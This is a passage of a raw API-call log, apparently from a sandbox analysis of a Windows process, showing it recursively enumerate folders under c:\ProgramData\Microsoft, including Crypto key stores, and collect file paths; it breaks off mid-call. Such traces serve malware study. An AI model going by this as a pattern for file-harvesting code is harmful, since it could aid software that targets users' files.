[0121.194] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0121.194] lstrlenW (lpString="DeploymentConfig.1.xml") returned 22 [0121.194] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="DeploymentConfig.1.xml" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" [0121.194] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml") returned 58 [0121.194] lstrcpyW (in: lpString1=0x24a6378, lpString2="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" [0121.194] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.194] lstrcmpW (lpString1="DeploymentConfig.2.xml", lpString2=".") returned 1 [0121.194] lstrcmpW (lpString1="DeploymentConfig.2.xml", lpString2="..") returned 1 [0121.194] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0121.194] lstrlenW (lpString="DeploymentConfig.2.xml") returned 22 [0121.194] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="DeploymentConfig.2.xml" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" [0121.194] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml") returned 58 [0121.194] lstrcpyW (in: lpString1=0x24a63f8, lpString2="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" [0121.194] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.194] lstrcmpW (lpString1="FCE80778-F5A2-48B5-BF04-93D6E887CBA7", lpString2=".") returned 1 [0121.194] lstrcmpW (lpString1="FCE80778-F5A2-48B5-BF04-93D6E887CBA7", lpString2="..") returned 1 [0121.194] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0121.194] lstrlenW (lpString="FCE80778-F5A2-48B5-BF04-93D6E887CBA7") returned 36 [0121.194] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="FCE80778-F5A2-48B5-BF04-93D6E887CBA7" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\FCE80778-F5A2-48B5-BF04-93D6E887CBA7") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\FCE80778-F5A2-48B5-BF04-93D6E887CBA7" [0121.194] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.194] lstrcmpW (lpString1="MachineData", lpString2=".") returned 1 [0121.194] lstrcmpW (lpString1="MachineData", lpString2="..") returned 1 [0121.194] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0121.194] lstrlenW (lpString="MachineData") returned 11 [0121.194] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="MachineData" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\MachineData") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\MachineData" [0121.195] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.195] lstrcmpW (lpString1="ProductReleases", lpString2=".") returned 1 [0121.195] lstrcmpW (lpString1="ProductReleases", lpString2="..") returned 1 [0121.195] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0121.195] lstrlenW (lpString="ProductReleases") returned 15 [0121.195] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="ProductReleases" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases" [0121.195] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.195] lstrcmpW (lpString1="UserData", lpString2=".") returned 1 [0121.195] lstrcmpW (lpString1="UserData", lpString2="..") returned 1 [0121.195] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0121.195] lstrlenW (lpString="UserData") returned 8 [0121.195] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="UserData" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\UserData") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\UserData" [0121.195] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.195] lstrcmpW (lpString1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2=".") returned 1 [0121.195] lstrcmpW (lpString1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="..") returned 1 [0121.195] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0121.195] lstrlenW (lpString="{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 38 [0121.195] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0121.195] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.195] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.195] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.195] lstrcmpW (lpString1="Crypto", lpString2=".") returned 1 [0121.195] lstrcmpW (lpString1="Crypto", lpString2="..") returned 1 [0121.195] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0121.195] lstrlenW (lpString="Crypto") returned 6 [0121.195] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Crypto" | out: lpString1="c:\\ProgramData\\Microsoft\\Crypto") returned="c:\\ProgramData\\Microsoft\\Crypto" [0121.195] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Crypto", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\") returned="c:\\ProgramData\\Microsoft\\Crypto\\" [0121.195] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Crypto\\") returned 32 [0121.195] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\*") returned="c:\\ProgramData\\Microsoft\\Crypto\\*" [0121.195] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.214] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.214] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.214] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.214] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.214] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.214] lstrcmpW (lpString1="DSS", lpString2=".") returned 1 [0121.214] lstrcmpW (lpString1="DSS", lpString2="..") returned 1 [0121.214] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Crypto\\") returned 32 [0121.214] lstrlenW (lpString="DSS") returned 3 [0121.214] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\", lpString2="DSS" | out: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\DSS") returned="c:\\ProgramData\\Microsoft\\Crypto\\DSS" [0121.214] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.214] lstrcmpW (lpString1="Keys", lpString2=".") returned 1 [0121.214] lstrcmpW (lpString1="Keys", lpString2="..") returned 1 [0121.214] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Crypto\\") returned 32 [0121.214] lstrlenW (lpString="Keys") returned 4 [0121.214] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\", lpString2="Keys" | out: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\Keys") returned="c:\\ProgramData\\Microsoft\\Crypto\\Keys" [0121.214] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.214] lstrcmpW (lpString1="RSA", lpString2=".") returned 1 [0121.214] lstrcmpW (lpString1="RSA", lpString2="..") returned 1 [0121.214] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Crypto\\") returned 32 [0121.214] lstrlenW (lpString="RSA") returned 3 [0121.214] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\", lpString2="RSA" | out: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="c:\\ProgramData\\Microsoft\\Crypto\\RSA" [0121.214] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.215] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.215] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.215] lstrcmpW (lpString1="Device Stage", lpString2=".") returned 1 [0121.215] lstrcmpW (lpString1="Device Stage", lpString2="..") returned 1 [0121.215] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0121.215] lstrlenW (lpString="Device Stage") returned 12 [0121.215] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Device Stage" | out: lpString1="c:\\ProgramData\\Microsoft\\Device Stage") returned="c:\\ProgramData\\Microsoft\\Device Stage" [0121.215] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Device Stage", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\") returned="c:\\ProgramData\\Microsoft\\Device Stage\\" [0121.215] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Device Stage\\") returned 38 [0121.215] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\*") returned="c:\\ProgramData\\Microsoft\\Device Stage\\*" [0121.215] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Device Stage\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.216] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.216] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.216] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.216] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.216] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.216] lstrcmpW (lpString1="Device", lpString2=".") returned 1 [0121.216] lstrcmpW (lpString1="Device", lpString2="..") returned 1 [0121.216] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Device Stage\\") returned 38 [0121.216] lstrlenW (lpString="Device") returned 6 [0121.216] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\", lpString2="Device" | out: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\Device") returned="c:\\ProgramData\\Microsoft\\Device Stage\\Device" [0121.216] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.216] lstrcmpW (lpString1="Task", lpString2=".") returned 1 [0121.216] lstrcmpW (lpString1="Task", lpString2="..") returned 1 [0121.216] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Device Stage\\") returned 38 [0121.216] lstrlenW (lpString="Task") returned 4 [0121.216] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\", lpString2="Task" | out: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\Task") returned="c:\\ProgramData\\Microsoft\\Device Stage\\Task" [0121.216] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.216] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.216] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.216] lstrcmpW (lpString1="DeviceSync", lpString2=".") returned 1 [0121.216] lstrcmpW (lpString1="DeviceSync", lpString2="..") returned 1 [0121.216] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0121.216] lstrlenW (lpString="DeviceSync") returned 10 [0121.216] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="DeviceSync" | out: lpString1="c:\\ProgramData\\Microsoft\\DeviceSync") returned="c:\\ProgramData\\Microsoft\\DeviceSync" [0121.216] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\DeviceSync", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\DeviceSync\\") returned="c:\\ProgramData\\Microsoft\\DeviceSync\\" [0121.216] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\DeviceSync\\") returned 36 [0121.216] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\DeviceSync\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\DeviceSync\\*") returned="c:\\ProgramData\\Microsoft\\DeviceSync\\*" [0121.216] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\DeviceSync\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.244] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.244] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.244] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.244] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.244] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.244] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.244] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.245] lstrcmpW (lpString1="DRM", lpString2=".") returned 1 [0121.245] lstrcmpW (lpString1="DRM", lpString2="..") returned 1 [0121.245] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0121.245] lstrlenW (lpString="DRM") returned 3 [0121.245] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="DRM" | out: lpString1="c:\\ProgramData\\Microsoft\\DRM") returned="c:\\ProgramData\\Microsoft\\DRM" [0121.245] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\DRM", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\DRM\\") returned="c:\\ProgramData\\Microsoft\\DRM\\" [0121.245] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\DRM\\") returned 29 [0121.245] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\DRM\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\DRM\\*") returned="c:\\ProgramData\\Microsoft\\DRM\\*" [0121.245] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\DRM\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.245] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.245] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.245] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.245] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.245] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.245] lstrcmpW (lpString1="Server", lpString2=".") returned 1 [0121.245] lstrcmpW (lpString1="Server", lpString2="..") returned 1 [0121.245] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\DRM\\") returned 29 [0121.245] lstrlenW (lpString="Server") returned 6 [0121.245] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\DRM\\", lpString2="Server" | out: lpString1="c:\\ProgramData\\Microsoft\\DRM\\Server") returned="c:\\ProgramData\\Microsoft\\DRM\\Server" [0121.245] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.245] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.245] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.245] lstrcmpW (lpString1="eHome", lpString2=".") returned 1 [0121.245] lstrcmpW (lpString1="eHome", lpString2="..") returned 1 [0121.245] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0121.245] lstrlenW (lpString="eHome") returned 5 [0121.245] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="eHome" | out: lpString1="c:\\ProgramData\\Microsoft\\eHome") returned="c:\\ProgramData\\Microsoft\\eHome" [0121.245] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\eHome", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\eHome\\") returned="c:\\ProgramData\\Microsoft\\eHome\\" [0121.245] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\eHome\\") returned 31 [0121.245] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\eHome\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\eHome\\*") returned="c:\\ProgramData\\Microsoft\\eHome\\*" [0121.245] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\eHome\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.245] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.245] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.245] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.245] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.245] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.245] lstrcmpW (lpString1="logs", lpString2=".") returned 1 [0121.246] lstrcmpW (lpString1="logs", lpString2="..") returned 1 [0121.246] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\eHome\\") returned 31 [0121.246] lstrlenW (lpString="logs") returned 4 [0121.246] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\eHome\\", lpString2="logs" | out: lpString1="c:\\ProgramData\\Microsoft\\eHome\\logs") returned="c:\\ProgramData\\Microsoft\\eHome\\logs" [0121.246] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.246] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.246] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.246] lstrcmpW (lpString1="Event Viewer", lpString2=".") returned 1 [0121.246] lstrcmpW (lpString1="Event Viewer", lpString2="..") returned 1 [0121.246] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0121.246] lstrlenW (lpString="Event Viewer") returned 12 [0121.246] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Event Viewer" | out: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer") returned="c:\\ProgramData\\Microsoft\\Event Viewer" [0121.246] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer\\") returned="c:\\ProgramData\\Microsoft\\Event Viewer\\" [0121.246] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Event Viewer\\") returned 38 [0121.246] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer\\*") returned="c:\\ProgramData\\Microsoft\\Event Viewer\\*" [0121.246] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Event Viewer\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.267] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.267] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.267] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.267] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.267] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.267] lstrcmpW (lpString1="Views", lpString2=".") returned 1 [0121.267] lstrcmpW (lpString1="Views", lpString2="..") returned 1 [0121.267] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Event Viewer\\") returned 38 [0121.268] lstrlenW (lpString="Views") returned 5 [0121.268] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer\\", lpString2="Views" | out: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned="c:\\ProgramData\\Microsoft\\Event Viewer\\Views" [0121.268] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.268] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.268] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.268] lstrcmpW (lpString1="IdentityCRL", lpString2=".") returned 1 [0121.268] lstrcmpW (lpString1="IdentityCRL", lpString2="..") returned 1 [0121.268] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0121.268] lstrlenW (lpString="IdentityCRL") returned 11 [0121.268] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="IdentityCRL" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL") returned="c:\\ProgramData\\Microsoft\\IdentityCRL" [0121.268] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\") returned="c:\\ProgramData\\Microsoft\\IdentityCRL\\" [0121.268] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\IdentityCRL\\") returned 37 [0121.268] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\*") returned="c:\\ProgramData\\Microsoft\\IdentityCRL\\*" [0121.268] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.268] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.268] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.268] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.268] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.268] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.268] lstrcmpW (lpString1="ppcrlconfig.dll", lpString2=".") returned 1 [0121.268] lstrcmpW (lpString1="ppcrlconfig.dll", lpString2="..") returned 1 [0121.268] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\IdentityCRL\\") returned 37 [0121.268] lstrlenW (lpString="ppcrlconfig.dll") returned 15 [0121.268] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\", lpString2="ppcrlconfig.dll" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll") returned="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll" [0121.268] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll") returned 52 [0121.268] lstrcpyW (in: lpString1=0x24a0ee8, lpString2="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll") returned="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll" [0121.268] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.268] lstrcmpW (lpString1="ppcrlui.dll", lpString2=".") returned 1 [0121.268] lstrcmpW (lpString1="ppcrlui.dll", lpString2="..") returned 1 [0121.268] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\IdentityCRL\\") returned 37 [0121.268] lstrlenW (lpString="ppcrlui.dll") returned 11 [0121.268] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\", lpString2="ppcrlui.dll" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll") returned="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll" [0121.268] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll") returned 48 [0121.268] lstrcpyW (in: lpString1=0x24a4c60, lpString2="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll") returned="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll" [0121.268] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.268] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.268] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.268] lstrcmpW (lpString1="Media Player", lpString2=".") returned 1 [0121.269] lstrcmpW (lpString1="Media Player", lpString2="..") returned 1 [0121.269] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0121.269] lstrlenW (lpString="Media Player") returned 12 [0121.269] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Media Player" | out: lpString1="c:\\ProgramData\\Microsoft\\Media Player") returned="c:\\ProgramData\\Microsoft\\Media Player" [0121.269] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Media Player", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Media Player\\") returned="c:\\ProgramData\\Microsoft\\Media Player\\" [0121.269] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Media Player\\") returned 38 [0121.269] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Media Player\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Media Player\\*") returned="c:\\ProgramData\\Microsoft\\Media Player\\*" [0121.269] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Media Player\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.269] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.269] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.269] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.269] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.269] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.269] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.269] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.269] lstrcmpW (lpString1="MF", lpString2=".") returned 1 [0121.269] lstrcmpW (lpString1="MF", lpString2="..") returned 1 [0121.269] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0121.269] lstrlenW (lpString="MF") returned 2 [0121.269] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="MF" | out: lpString1="c:\\ProgramData\\Microsoft\\MF") returned="c:\\ProgramData\\Microsoft\\MF" [0121.269] lstrcatW (in: 